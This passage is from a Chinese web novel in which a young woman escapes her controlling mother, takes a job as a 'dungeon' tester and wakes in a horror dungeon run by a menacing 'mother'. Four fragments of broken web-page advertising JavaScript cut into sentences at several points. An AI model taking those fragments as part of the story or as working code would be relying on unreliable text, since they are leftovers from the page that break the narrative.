远远看见海市行的大招牌,季风只觉得晦气,下了车认命般的往里走。 小花:你好勇敢,在副本里差点出不来还敢来。 季风:“人在屋檐下,不得不低头,你不懂。” 小花:我听过,人类的父母会以爱之名为其子女铺路,被称为“爱的枷锁”。 季风:“......少看点网上的社会学鸡汤吧。” 她走进大厅,装修与副本里分毫不差,但总觉得少了点什么。 “您好,您要办什么业务?” “我来找人,不用麻烦你......”季风说着看到工作人员的脸十分眼熟, “你嗓子好了?”是面试那天接待她的大堂经理,当时脖子上那个机械发声设备让她记忆深刻。 “啊是你!”这个大堂的小姑娘一下就认出了季风,十分惊喜:“是啊,我昨天突然就感觉嗓子有一点感觉了,今早试着说话,发现能发声了,医生都说是医学奇迹。” 昨天?正好是副本结束的时间。 “恢复了是好事,你这个嗓子是怎么弄的,能说吗?” “是一个神经病拿了个镰刀进来了。”女孩声音轻轻的,眼神暗了暗,她不愿去回忆那一天的事,但最近好像命运开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 始眷顾她,好事一桩桩赶来。 “对了,你知道那个人怎么样了吗?”她问季风。 看季风摇摇头, “死了。”她也有些不可置信似的,她嗓子好了才有心情注意这件事相关的人,返回去查时,发现他几天前出了事故:“喝醉了酒,掉进垃圾车扎死了。” 季风听到这种少见的死法,竟觉得有些熟悉,垃圾车......她不可控制的联想到了副本里被清洁工打扫走的客户,多亏了他的镰刀,才能让季风干净利落地处理客人。 两人简单聊了两句,季风就去楼上的办公室见了妈妈让她联系的领导,对方戴个眼镜,倒是书卷气十足,聊的无非是一些关系户的场面话,季风离开网点时还有些感慨:“副本里痛恨关系户,副本外成为关系户,风水轮流转啊。” “叮咚——”手机来件提示音响了,她打开邮箱发现里面躺着一封金光闪闪的邮件。 “......”她的手指在上面停了一秒,跟没看见似的,划走了。 小花:不点进去看看吗? “看起来跟诈骗软件一样,不看。” 小花:可是上面写的“您有一份offer等待签收”。 她当然认得字,那就打开看看吧,金光闪闪的邮件打开只有简单的几行字:恭喜您在银行副面试中表现出色,现邀请您成为副本体验官,薪酬丰富,一副一结款。 看到内容季风不觉得这是诈骗信息了,但更离谱了。 “这是你搞得吗?”季风问小花。 小花:不是,我没有那么大能力。 她把邮件滑到最底下,有一条链接明晃晃的躺在那里。季风在确认了自己卡里没几块钱后,点进了链接,手机瞬间黑屏了,她十分平静的想:被骗了。 但是屏幕在闪了两下后出现了一个小喇叭的图案,从里面传出了声音:“您好,季风。欢迎您致电。请您跟随我的指引,将为您进行入职解惑。” “我还没确定要入职。”季风拿着手机,好不容易插进去一句话。 “没关系,最终是否接受这份工作全凭您的意愿,请您前往前面十字路口西边的角落。” 那个角落很近,拐个弯就到了,是一面刷成粉色的墙,旁边竖了一盏路灯,在路灯杆和墙的夹角处有一个包裹,纯白的,季风把它拿起来颠了颠,很轻,外壳是塑料做的。 “请打开吧,里面是您这次副本的报酬。” 手不知按到了哪,塑料盒从顶部打开了,里面躺着一张银行卡, “海城市民银行,钻卡。”季风拿起那张卡片正反看了看:“你们果然是和这银行有什么交易吧。” “请您放心,这张卡是通过正规渠道办理的,是您的工资卡,里面有您第一次副本完结的工资。” 同时季风的手机上收到入账短信,看到上面的数字时,她不为五斗米折腰的话憋在了心里,这给的也太多了。 “同时为您提供精选房源,您可以购买或者租赁,解决您的苦恼。” 手机上同时发来几套房子的信息,依山傍水,都是高端小区。而且离她现在住的宅子十万八千里。估计能让她租到的房子,也是这个神秘公司专供给她的。 她的苦恼吗?她即找不工作,又租不到房子,任何让她脱离妈妈那栋豪华住宅的行为都是死路一条,现下一条光明大道摆在她的面前...... 9. 母亲 手机那端的人好像看出了她的犹豫:“房子是您第一个副本的所得,您可以先住进去,后续无论您是否入职,都不会收回的。”每个字都敲在季风的心上,如同恶魔的低语。 小花:我建议你选第二套房子,高档小区,两梯两户,主要是离这远,而且住的人多,你不容易被找到。 “你已经开始选起来了是吗。”季风有些无语地打断小花。 “知道了,我要考虑一下。”眼见天色渐晚,季风不敢在外面耽搁太久,就先结束通话。 “好的,考虑好请再次点击邮件链接,我们期待您的加入。” 别墅所在的街道没有路灯,季风回去时已经一片漆黑。她熟练的摸到自家门前,屏住呼吸推开大门。 母亲等在餐桌前,昏暗的灯下用她那双发亮的眸子安静的注视着季风。 小花:令堂这个样子好吓人诶。 “还好吧,比起她二十四个小时的监视我倒情愿她用眼睛看我。” 小花:更吓人了。 季风有一个秘密,她没法准确的形容出这种感觉,但简单来说,她觉得眼前的人不是自己的母亲。从什么时候开始的?可能是很久以前了,十年前,二十年前,甚至是一出生起。她没对别人说过,不知道对谁说,也不知道谁会信。她对眼前的女人有种猎物般的躲避本能,所以无论是她对自己二十四小时的监视,还是她对自己人生道路的变态掌控欲,季风甚至不敢大幅度挣扎。 她们最大的一次争吵是季风十三岁的时候,青春期,容易冲动又是天不怕地不怕的年纪。季风第一次见到除了母亲给自己安排的人之外的同龄人。隔壁新搬来的一家人,有个上初二的小男孩,季风从他口中第一次知道,原来十三岁大家都会上初中,然后是高中,当然在这之前也会去上小学。季风没去过,她只见过来家里教她的老师。 她回去和母亲大吵一架,她问为什么自己不去上学校,母亲的解释是家教更好,但她当然不认同这个观点,最后她冲母亲哭着喊:“你根本就不是我妈妈!” 那是季风第一次感受到自己像被肉食动物盯上可怜小羊羔,下一秒头就会被撕下来。她识趣地迅速地收敛了哭声,只是委屈的哽咽。 “回房间去。”母亲下的禁闭令像是她的赦免书,她逃向自己的卧室。 之后母亲对她的态度也没什么变化,她也懂得察言观色了许多,两人一直相敬如宾到现在。 现在季风想到要给母亲说要搬出去住这件事,心里还是有点发怵。 “怎么回来这么晚?”她抬头对上母亲的眼睛,对方才开口问话。 “路上耽搁了一会儿......” “你不是三点就从银行出来了?” 季风听到这话有些想笑,她都不清楚自己是几点出来的。 “嗯......我看了个房子,觉得挺合适的。” “可以啊,你能租到的话搬过去也可以独立生活。”母亲并没有生气,反而用很轻松的语气表示赞成。不过是因为在这之前季风从没有成功地租到过房子。 “我已经谈好了,那我明天就搬过去。”季风说完,小心地瞥着母亲的表情。 女人的脸色似乎一下子变了,季风低着头,能感觉到女人的视线一直停留在自己身上,过了一会似乎移开了。就当她准备松一口气时,女人的一句话让她冷汗一下从后背窜出。 “你刚在和谁说话?” 她刚没说话,硬要说有,也只能是小花,但是她在脑子里的对话母没道理能听见。她对母亲总有一种下位者的恐慌感,这股慌张劲过去了,冷静下来她很快想到了这点,母亲应该只是从她的神态推理出来有异常。 “房产中介。” “季风,你现在有事瞒着妈妈了。” “......”季风打算沉默。 “你从银行出来去哪了?”母亲没打算停下质问。 “我去哪了?你不是一直对我了如指掌吗,现在还需要来问我?”季风话一出口就心虚了,语气的愤懑程度从第一个字到最后一个字逐个递减,她总是在小心翼翼地衡量着两人之间保持和平表象的“度”。 但女人一反常态的,沉默下来,她只是抱着双臂,沉默地坐在餐桌的另一头,表现出不满的姿态。 “......” 季风从对方的沉默中突然意识到了一点:母亲不知道她出了银行之后的行踪,她在掩盖这一点,强装镇定。 她觉得自己都有些压抑不住嘴角的笑容,二十二年,整整二十二年,这是母亲头一次不知道自己身上发生的事,是自己第一次短暂脱离了母亲的掌控。她努力控制住喜悦的情绪,不让声音漏出一点端倪:“我先去收拾东西了。” 季风可能一直在等一个与母亲抗衡的机会,在这之前一直在忍耐,等这个机会出现的一瞬间,她就会做出反击。想到这一点,季风几乎快要答应这个奇怪的工作邀请了。 她很快搬到了自己的新家,搬家过程很顺利,没有受到什么阻拦。她不知道母亲有没有想过把她锁在家里的举动,可能是母亲也觉得这样的行为过激了。不管怎样,她现在获得了一个正常的成年人应有的自由生活。 新家只有九十平米,但是有个大窗户,季风搬了个椅子坐在那看外面的景色,大片的草坪和一个人造湖泊。 小花:所以你决定接受那份工作了吗? 季风:“你好急。是因为这份工作对你来说就像是一个保险是吗?我只要接受了就一定会和你长久合作。” 小花:...... “非要挑我正在享受新家的时候谈工作啊,你们系统可不可以去学学情商。”季风昨天到现在一直在考虑,似乎总是差一点。 小花这会倒是想到说什么了:“你要是接受这份工作,这样的好处还有很多。” 这个时候手机响了,是母亲打来的。她看到这通电话就意识到母亲已经找到了她的位置,果然, “季风,妈妈看了你的新房子,位置不错,工作上也要认真。” “嗯,知道了,妈妈再见。”季风挂掉电话后,小花说:令堂这么快就找到你的住址了。 “这算慢的,一般她在我搬家之前就会知道,她现在才打电话,估计是查了一晚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上吧。” 小花:为什么要这么做?根据网络上的数据统计,她的行为是平均父母不会出现的。 季风感觉母亲就像自己掌心的一根刺,不可能大费周章的报警,警察来了也解决不了问题,但这根刺扎的她难受,时间久了周边的皮肤也开始发炎,溃烂。 新家楼上住的是一对温文尔雅的夫妇。季风搬来第一天晚上就听见头顶踢里哐啷的声音,伴随重物摔打。她上楼敲过门,开门的正是两人,说话客客气气,轻声细语。 “这到底是哪家的声音,我总不能把我楼上的挨家挨户敲一遍吧。”季风苦于无法找到元凶,还为自己往后的睡眠默哀。 窗外闪过一道惊雷,顷刻间乌云翻墨。她到窗边查看,外面狂风摇曳树干,风雨欲来。 ““算了,先去买个饭吧。”她从昨天到现在吃的唯一的食物就是那个煎饼。 雨倏然而至,豆大的雨点打在地上,窗外一片沙沙声。季风翻起身出门,她记得小区门口有家米线闻起来很香。 电梯里遇到楼下的住客,阿姨看见季风手里提着米线袋子,调侃道:“现在年轻人都爱吃这辣的,我之前遇到夫妻两也是。” “是吗,我觉得这家还挺好吃的。阿姨买菜回来啦?” “本来在家午睡呢,楼上那两口子不知道干什么呢,动静跟拆家一样,就跑出来买菜了。” “两口子?您怎么知道是他们啊。”季风看阿姨精准抱怨,还担心她冤枉好人。 “只能是他们,楼上除了他们没别人住。”电梯到了,阿姨摆摆手出去了。 电梯弥漫着雨水的土腥味儿。 这个小区的入住率确实不高,但她是不知道自己楼上只住了一户的。 她...不止听见打砸声,还有哭声,小孩的脚步声。 “奇怪,那两人有小孩吗?”季风从没见过。 似乎是听到季风内心的疑问,她开门丢米线袋子时,看见了一个小女孩。 她猜测女孩是从消防楼梯跑下来了,因为电梯只能停在自己的楼层。女孩没想到会撞见人,看见季风也吓了一跳,“唰”地躲到防火门后面了。 “没事,你是哪一层的呀?”季风叫住女孩,她有种预感。 女孩扒着门框,巴巴的看着她,不说话。 “是楼上的吗?”季风提着垃圾袋,插着兜站在自家门口,一副聊天的语气。 似乎是察觉到没什么危险,小女孩小幅度的点点头。 真是楼上的,季风放下手里的东西,问她:“你爸爸妈妈没去上班吗?” 女孩摇摇头,又点点头。季风挑了下眉,朝女孩走进几步。 “很高兴认识你,小朋友。”她朝女孩伸出手,对面低着头盯着自己脸前的手,掌心纹路清晰,肤色里泛着自然的血色,应该是温暖又干燥的触感,女孩伸出手,飞快的握了一下又缩回去了。她睁着黑亮的眼睛,想要再上前一步时,楼上传来关门的声音,她一下子缩回黑暗里,转身跑走了。 季风看着消失在黑暗里的身影:“你看见了吗?” 小花:她胳膊上有伤。 10. 梦想家01 “季风,”小花的声音轻飘飘的,好像能被风吹走:“下个副本和这个女孩有关。” “什么?”季风听到副本的情报,第一时间不知道该警惕还是欣喜:“你告诉我的目的是什么?” 小花能预测下一个副本是什么的话,它肯定与副本脱不开关系。 “副本都有发生的规律,我只是推测,这个女孩身上有强烈的副本触发因素。”小花的回答让季风有些泄气。 “那你就不要用这么肯定的语气跟我说,我以为老师透题了。” 小花:“我是很肯定……” “行了行了。”她打断小花的已读乱回,打开家门进屋了。 “你好,很高兴再次见面,相信您已经做好了决定。”电话那头传来声音,季风回家就打开邮件里的链接拨通了语音,她在看到小女孩的那一刻就已经决定了,倒不是说多么高尚,之前一直隐约差点什么,其实差的就是这样一个契机。 “我接受。”季风开门见山,话音刚落,一封新鲜的邮件就到达手机, “请点开我们刚发送的邮件进行签约吧。” 电话那头的人一点也不惊讶,立刻就进入下一个流程。邮件内容只有甲方乙方签名处,是个空白合同。 “请在乙方处签名。” “好的。”季风手机在屏幕上划拉笔画时看到甲方处出现的签名:“副本有限公司”。 “这是你们公司的名字?”甚至是手写的,透露着令人不安的草率。 “你可以这么称呼。” “合同具体内容在哪看?”季风边签边问。 “就是你看到的。”季风听到这话停下手指, 那边说:“没有内容,只是你同意加入工作的一个契约。” 她看着屏幕上写了一半的名字,缓缓问出了一个自己知道十分愚蠢的问题:“那我的权益这么保证?” “我们会在每个副本结束后进行结算的,根据你的表现。”不知道是不是季风的错觉,电话那边的声音似乎敷衍了不少,那股传销般的热情有些不见踪影。 “签约已经完成了,祝您工作愉快。”对面已经飞快的断掉语音,季风看着合同上签了一半的名字,脸黑了。她看出来了,这个签名游戏就是对面陪她在玩过家家,真正的合同估计在她说接受的那一刻就成立了。 小花目睹了这一场闹剧,试探性地发出人类在找到工作后平均会收到的祝福:“恭喜你。” “恭喜你。”季风咬牙加重那个“你”字,果然人不应该工作。 当夜,伴着雨声季风还是很快入睡。 “呜呜呜......呜呜.....”断断续续的声音传进耳朵里。 “啧!”她猛的从床上坐起来,正准备怒斥楼上那对半夜还不安宁的夫妻。 小花:嘘。 寂静的夜晚,一束月光从窗户照进来,季风借着这点亮度逐渐适应了黑暗的环境。看见房间中间挂了一个旋转婴儿玩具,壁纸上有飞机白云的图案,对面是一个巨大的衣柜,是一间儿童房。 她低头看了看自己,穿着一件白色毛绒睡衣,好像衣服上还有星星的图案,挺可爱的,季风对这身表示满意。 数了数这间屋子了有十二张床,整整齐齐的排列着,像某个集中收容的孤儿院——如果不去看这些床上躺着的成年人。看样子只有季风醒了,她坐在床上看着周围的环境,布置的可以说用心,每个人身上的睡衣都不一样。 “这是哪啊!”出现了!一进副本就大喊大叫的新手出现了。躺在她隔壁床的男人梦中惊醒,发现自己身处陌生环境,慌乱地喊叫起来。扭头又看到旁边坐着的季风,她一双眸子被窗外月光照着,亮的渗人。 男人吓得一哆嗦:“你是谁啊!你拐卖我?我要报警!”慌乱地翻找自己的手机,可身穿灰色飞机睡衣的他,又怎么会有手机呢。 “大哥,我劝你安静点。”角落有人出声劝阻,季风这才发现房间角落的阴影里藏了一个人,这个人的床就在角落位置,季风没发现就是因为那张床在他下床后被用被子枕头重新伪装了一番,乍一看像是还有人在睡觉。 那人最早醒来,发现自己在荒谬的儿童房里,一下子想到变态杀人魔之类的案件,这种想法在发现自己身上的月亮毛绒睡衣时更加确信了。他眼看着这人不要命的大声叫唤,尝试出手阻止一个生命的陨落。 这个善良的小伙正是李灰,月光将季风的脸照得很亮,他一眼就认出来了这个女生,于是从黑暗中爬出来,冲季风招了招手。 季风看见从角落里冒出来的人:“……”。 小花:是煎饼男大! 季风对于小花的多嘴表示:“会说话就告诉我速通攻略。” 小花:我没有这方面资料,工作还是不要投机取巧。 亦然一副监工嘴脸。 “宝贝,怎么还不睡觉?”门外传来女人的说话声,一阵脚步声由远及近的传来。 季风倒头就睡,李灰在角落和床上斟酌了半秒也飞速爬进被窝。 房门被打开了,是一个矮小的女人,家庭主妇的打扮,身上穿着棉质睡衣明显有些老旧。男人见开门的是一个如此弱小的女人,也忘了刚才吓破胆的样子,下床朝女人走过去。 “你是谁?赶紧放我走!” 女人声音依旧温柔, “是做噩梦了吗,妈妈都不认识啦?” “让开,我走了不会报警的。”男人一边说,一边猛的扭头避开女人准备抚摸他脸颊的手,但女人堵着门口,他出不去。 “这么晚了,明天带你出去玩,好吗?”女人哄孩子的语气激怒了男人,或是男人认为一个温和的女人不足为惧,即使是在这种明显诡异的情况下,他不耐烦的推开她,准备出去。 “嘭!” 季风闭着眼睛,只听见一阵闷响,接着重物倒地的声音,然后是女人细细的哭声。仔细听夹杂着叹息, “怎么这么不听话?宝贝你身体不好,还这么激动,妈妈舍不得你......” 门轻轻的关上了,季风感觉照在眼皮上的灯光消失了,房间又沉入黑暗,她感受着过分柔软的枕头和被单,沉沉的睡着了。 李灰在黑暗中睁开双眼,他刚才一口大气也不敢喘,憋的满头大汗。又看见男人床铺空了,他觉得果然是变态杀人魔开始动手了。坐起来想叫季风,就看到一张安详的睡颜, “姐?你还能睡着啊?” 回应他的是季风均匀的呼吸声。 次日早晨,一阵悠扬的音乐唤醒了全部玩家,大家看到那张空了的床铺,有些面面相觑。季风看到这一幕,感到意外,看来这次的人不想银行副本那次全都是新人,他们沉默的明显像是知道什么,估计是昨晚男人喊叫的时候都醒着,只不过都在装睡。相比之下,李灰顶着两个大黑眼圈的脸格外明显。 不过这样一来,季风、李灰和那个男人一看就是第一次来的新手。 “大家知道这是哪吗?我一睡醒就出现在这了。”季风决定顺应自己的身份,打破沉默,一脸惊慌的问。 “不知道。”这些人大多沉默,有几人摇摇头,小声嘀咕。 “昨晚那个人有人听见吗?我真的很害怕。”季风继续追问,她对这种不团结的现象表示心痛。 这时她看到有个女孩频频瞥她,几次欲言又止,她将目光落在那人身上:“姐姐……”那女孩没应声,只是回了个眼神,似乎是想私下说。 不过有人悄悄抬了点头,估计是想顺着季风的目光看她在问谁,剩下的人则埋着头一副在忙的样子。 “我感觉自己像课上点名的老师。”季风看着这些人心虚的样子,忍不住跟小花说。 小花:你上班第一天的人设是演员吗,好柔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弱。 “孩子们,快洗漱来吃早餐啦。”门外母亲温柔的声音响起,房间里的众人吓得一哆嗦,从床上弹起来飞快收拾。 季风慢悠悠的从床上下来,将被褥铺好后,瞥到床角好像刻着字:妹妹。 她不动声色的绕了两步,发现路过的几张床上都有字:弟弟、女儿、儿子之类的称呼。李灰刚好凑上来,他是专门跑到季风跟前的:“你没事吧,我是李灰,你还记得吗?” 季风看着他那两个黑眼圈,点点头:“大学生活学业这么繁重吗?你看着很疲惫。” 一夜没睡的李灰没好意思吱声,他总不能说以为你死了怕自己睡了也跟着去了。 “你是什么?”季风看在相识相认一场的份上,好心问道。 “什么什么?”卷毛眨巴着眼,一副白痴样。 季风好人做到底,看了看他床边的名字:二弟。给他了个眼神,下一秒就见李灰跟见了鬼似的瞪大双眼,又看向季风,那眼神写满震惊。季风拍了拍他的胳膊,去那个大衣柜跟前换衣服了。 “穿哪件好呢,这些都很好看。” 想是这么想,最后拿在手里的是一件灰白拼接的休闲套装,只有这件衣服领标绣着“妹妹”。转过身又看见李灰乖巧的站在一群玩家后面排队进衣柜,季风不知出于怜悯还是什么情绪,在他看过来的时候手指点了两下领标。 “总不能看着他往坑里跳。”季风秉着善待工作同事的原则,这么想道。 小花:你应该知道这些不是你的同事吧。 季风当然知道,那个无良公司说过最好不要暴露自己是员工,因为竞争很激烈巴拉巴拉。季风只听了第一句话,不能暴露自己是员工,至于这么做的理由,无良公司说的套话空话,她觉得还得靠自己去判断。 十一位“孩子”都脱下了毛绒睡衣,换上便装,至于穿的对不对,季风目光在人群中巡视一圈,现在也看不出来。 餐桌上早餐十分丰盛,面包水果粥摆了一堆,营养均衡。女人有些心不在焉地坐在那儿,见孩子们来了,打起精神说:“都洗漱好了吗?快坐下吃饭吧。” 座位好像没什么讲究,季风随便挑了一把椅子坐下,李灰也挨着她坐下了,旁边是刚才那个女孩,轻轻地拉开季风左边的椅子,见季风看过来,抿起嘴笑了一下。 女人见大家都落座了,但没有一个人开始用餐,又招呼到:“快吃吧,别挑食,一会儿饿了。”并用慈爱的目光看着大家。 大家迫于压力低头动筷子,除了有两个人梗着脖子就是不吃。季风拿筷子撇着粥碰碰嘴唇装样子,她觉得第一天即使不吃也能撑住,主要是不敢吃。右边的李灰也装模作样的喝果汁,喝了半天杯子里的果汁一点没少,看季风看自己,悄悄凑过去说:“这饭闻起来怪怪的,不要吃。” 季风吸了吸鼻子,她什么也没闻到。 坐在对面的男人揉了揉眼睛,隔了一会又揉了几下,这回间隔的更短又狠狠揉了几下,季风注意到异常,就见男人捂着眼睛叫了一声。 “小宝怎么了?”女人听到声音看向男人,男人不敢再揉眼睛了,只是捂着。女人上前拉开男人的手,餐桌上安静了一瞬——男人那只眼睛旁边长了一颗黑豆大小的肉瘤。 女人语气透着些责怪:“你是不是没洗手,妈妈说了饭前要洗漱,不讲卫生是要生病的。”餐桌上明显有几人脸色不太好看,季风看过去,那几个人是换衣服晚了的,时间来不及估计跳过洗漱直接来吃饭了。不过他们似乎没有什么症状,至少不像男人在脸上,没被妈妈发现。 “没事的,”男人看向女人,似乎是挣扎斟酌下开口说;“妈妈,我没事,这个不要紧。” 不枉男人“认贼作妈”,女人真的放过他了,说:“我不管你,你说没事就没事。” 男人劫后余生般靠在椅背上,拿起勺子喝了两口粥压压惊。 11. 梦想家02 眼看早餐时间结束了,众人桌子上的食物都剩了不少,刚才那个男人倒是把粥喝了个精光,估计是不敢再惹出别的事端。 女人看到这么多人都没吃完,有些不满意:“只有小宝吃完了,真棒。你们怎么都剩这么多,太浪费了。” 没有人接话,都低着头挨训。但这样显然不行,女人的话没有得到回应,她已经有些生气了。 “都不理妈妈吗?这是不礼貌的行为!” 这时候桌子的一角冒出一个声音:“妈妈,我吃不下了。”众人看过去,是季风。 季风感到众人目光一下集中到自己身上,微微耸了一下肩表示,怎么了,她只是一个跟妈妈及时交流的乖孩子。 妈妈看了看季风,语气平和地说:“吃不完就放着吧,饿了别后悔。”又把目光转向那两个一口没吃,也不愿意装样子的人,有些冷硬的问:“你们两个一口都不吃吗?” 两人彼此看了一下,都摇摇头。 “妈妈很伤心,这是我辛辛苦苦的劳动成果,你们是不是零食吃多了才不吃饭的?” 但两人似乎是打算采取消极策略,一句话都不说。季风在一旁看着都替人着急,这种冷场不要啊,跟妈妈说说话吧,这么关心孩子的妈妈不多见了。 两个铁石心肠的“孩子”一句话不跟妈妈说,女人脸色变得阴沉:“不吃的话那你两就别吃饭了,别被我抓到偷偷吃!” 相比于未知的死亡,饥饿似乎是一个可以接受的结果。女人威胁完后,起身收拾碗筷放到洗漱池,她边洗碗边说:“一会我要去画室上课了,你们放假要好好的待在家里。” 众人精神一振,这似乎是这次副本的主线任务了。 “妈妈,我们需要干什么呢?”果然,有人来开头,这个妈喊的轻易多了。 女人闻言回头微笑的看着孩子们,说出的话却虚无缥缈:“你们只要做妈妈的好孩子,我们和谐的生活在一起就好了。”她打开天井的门通往画室,虽然还在一间房子里,但隔着院子也算是给众玩家留了自由活动的空间。 女人去画室待着了,据她所说,她要上课到中午,然后一整个下午用来练习花花,回来要五点了,午饭需要自行解决。天井门关上后,众人松了一口气。 接着三三两两的分散开,有条不紊的开始行动了。季风夹到这群人中,看起来有些迷茫,实际上她真的有些摸不着头脑了。 “她们是背着我报补课班了?我拉下进度了?不是,他们怎么这么熟练的就开始了啊。”季风对小花一阵输出,小花也哐哐胡乱检测了一番,还真给它查出来了点东西。 副本外的网络上,小花查到有一个加密论坛,叫“世界副本受害者联盟”。论坛是邀请制的,似乎其主人有特殊的手段可以侦测到进入过副本的人,可能是特殊的磁场之类的,总之是一个经历过至少一次副本的玩家组成的论坛。至于为什么季风没有被邀请…… “好伤心,同为进入过副本的受害者,我竟然要通过黑进去这种手段吗。”小花解释完这个论坛,季风在听到自己进入这个论坛的方式是小花的特殊手段时,表达了自己的寒心。 小花:你忘了你是为谁工作的吗?这个论坛看起来都是被卷入的玩家,你和他们的利益或多或少有些冲突。 季风伤心道:“我是工贼吗……竟然。” 小花看她受到的冲击好像不小,已经发动引擎全网搜索安慰语句,就听见季风说:“让我看看那个论坛。” 小花:? “我需要填补信息差”季风一本正经的,小花只好抛下刚搜罗的好词好句,紧急总结了相关信息给她。 “论坛我没法让你能看见,不过简单来说,你这次的副本是因为有一个团带队过本,这个团名声不太好,论坛上的人都在心疼这次的新人,也就是你们三。” 此时,世界副本受害者联盟上有几十个帖子同时在讨论,但其中一个名叫“无良过本团进入梦想家副本”的帖子热度一骑绝尘,楼高不断刷新。 楼主内容是:还记得之前发帖揽客的那个过本团吗,之前就有人说过他们团过本靠运气,还排挤副本里没报团的人,而且团费死贵,他们组团去梦想家了。 地下一众义愤填膺的人,迅速发表自己激烈的见解。 ——这还真让他拉了个大的,这次团了九个人,副本总共就十二个人,剩下三个人真惨。 ——刚去翻了一下,这个团费一次竟然要100贡献值吗? ——能打到这个贡献值的都是大佬,谁还进他这团啊…… ——不懂了吧,这是醉翁之意不在酒。他收现金你猜收多少?一百万星海币! ——我那海城市中心的房子才80万,真黑啊。 ——楼上你有海城市中心的房子? ——楼里炫富小心被人开盒了…… ——总之只能等副本结束看剩几个了。 副本内,季风正闲庭信步地在房子里晃荡,旁边还跟着一个略显焦虑繁忙的李灰,可能是因为紧张,他寸步不离的跟着季风,又因为季风看起来摆烂的态度不得不自己寻找线索。季风手里团着一个纸条,是刚才她左边的女孩跟随大部队离开时塞给她的,纸条上只写了一个词:蜘蛛。 什么意思?季风对这惜字如金的线索无从抓起。她走着走着到了一个储物柜附近,这周围摆了几台塑料小桌子,配有几把椅子。虽然没漏出一点,但季风有种感觉,这块布置的很休闲,很适合喝下午茶,这些柜子里可能会放吃的。她回头和正在努力找线索的李灰四目相对,李灰头发都有点凌乱了,灰头土脸地看着她。 “你找找这几个柜子里有没有吃的。”季风给他找了点事做。 李灰从旁边的绿植盆里直起身,认真搜寻这几个柜子。这回没花多少时间,他兴奋地给季风指了指中间那个柜子:“这个闻起来很香,面包味。” 季风走过去蹲下,手放在柜门上停顿了两秒打开了柜子。其实是在问小花:“能不能扫描一下这个柜子有没有危险。” 小花:“我不是X光机。” 好吧,季风自己打开。里面是两袋面包片,剩下的都是一些生的粮食,大米绿豆之类的。季风给自己拿了两片又给李灰拿了两片:“快吃。” 李灰嚼巴两下塞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在嘴里的面包片,才想起来问季风:“这能吃吗?”季风拿着自己的面包片一边啃一边说:“能吧,吃点妈妈放的零食,能出什么事。” 至少这面包片比“妈妈”不知道怎么做的丰盛早餐要安全可靠。 季风李灰两人目前都没找出什么有用的线索,李灰像个无头苍蝇,没什么重点地搜寻,已经开始不放过地上每一颗灰尘。 “回卧室找找吧?”季风转了一圈决定回这个最熟悉的房间看看。李灰赶忙跟上,见季风神态都透露出从容,反观自己背上其实已经渗了一层汗。 “你不害怕吗?”李灰是在忍不住问。 “什么?”季风走在前面分给他一个眼神。 “现在都没找到有用的线索,我们怎么完成任务?”季风不知道是自己听岔了还是李灰真的带上了一点哭腔。 打住!季风才意识到李灰第一次进副本,估计一直是惶恐不安的状态,而且这个副本很奇怪的没有主持人,玩家们没有游玩提示。不像银行副本,主持人全程发挥的作用可以说是没他季风出不来,想到这,好像自己进的银行副本才是奇怪的那个。总之季风简要的给李灰说明了背景,下了一剂定心丸:“这是个副本,比较玄幻的那种,我们都进了完成副本任务才算通关,总之你别激动。” 李灰终于平静了一点,他的反应没季风想象的惊讶。其实是因为脑子没反应过来,他听到季风的话第一反应,是自己不是在变态杀人魔的家里,心一下就放到了肚子里。 副本?等一下,李灰一个箭步冲到季风身前,拦住她的去路,这下子反应过来了。 “什么副本?我们在副本里?穿越了?” “你可以这么认为,算是,在这里死就是真死,应该。”副本里死的人现实中季风也不认识,没来得及查找,还真不知道。这一句话说的全是可能性。 “谢谢你告诉我这些,不过你不是新手吗?是怎么知道这么多的。”李灰吸着鼻子道谢。 “今早吃饭坐我旁边那女孩说的。”季风见终于不用哄人了,松了一口气。 卧室里十二张床还是整齐地摆放着,一张都没有少。季风觉得如果作为一个青少年,背着妈妈藏一些东西应该是藏在这里,不过她找起来也没什么头绪,毕竟她不需要藏,她妈妈掌控着每一分每一秒的生活,她一直无处躲藏。 看着这些人热火朝天的寻宝似的找线索,季风其实有些莫名。女人早上说的话对季风来说很简单啊,只需要做,不需要找什么线索:要做个好孩子,要保持家庭和谐。这对季风来讲简直是手到擒来,扮演一个乖孩子和保持一个家庭虚假的和谐,季风处在专业赛道上。 只要听从母亲的吩咐,按她的要求行动,不要想着欺骗她,不要有自己多余的想法,还要表现出有爱的亲情就行。季风还能再画出十条重点。 小花:不过这样副本怎么结束呢,难道又解决掉这个女人吗? “你疯啦!”季风被小花的暴力言论震惊:“怎么能做这种破坏家庭和睦的事,妈妈又没杀人。” “我找到了!”李灰从床边探出头来,他手上拿着一本薄薄的册子。 12. 梦想家03 似乎是日记本一类的东西,季风翻开,上面稀稀疏疏写着每天的流水账。 ‘六月一日 妈妈把我领回家了,好害怕,我想原来的妈妈。’ 第一条就让两人皱起眉头,“原来的妈妈”,日记的主人是被卖到这家来的吗? ‘六月十日 和家里的哥哥姐姐相处的很愉快,只要我听话,一切都很好。但是好多规矩我都不太明白。’ ‘六月十七日 明明之前可以这么做的,今天妈妈却说我不听话,惩罚了我。’ “这话是什么意思?”李灰看到这里,“难道规则还会变来变去吗?” 季风摇摇头,示意他先往下看。 ‘六月三十日 哥哥生病了,不过不严重,他食欲很好,也没影响睡眠。’ ‘七月一日 妈妈发现了哥哥的病,因为没什么影响,就没怎么在意。’ ‘七月十日 哥哥的病很奇怪,看起来太明显了,虽然没什么不舒服的症状,但妈妈决定给哥哥治病。’ ‘七月十一日 哥哥没去医院,妈妈害怕哥哥撑不住手术,怎么办,我不想失去哥哥。’ ‘七月十二日 妈妈找了偏方,说一定管用。’ ‘七月十四日 这几天妈妈一直在给哥哥治病,希望他快点好起来。’ ‘七月十七日 妈妈用的方法太奇怪了,应该不行吧,能管用吗?’ ‘七月十八日 我们看不下去,劝阻了妈妈,妈妈哭了,我们感到很抱歉。’ ‘七月二十日 现在没人敢阻止妈妈了,妈妈也是爱哥哥,可是……’ ‘七月三十日 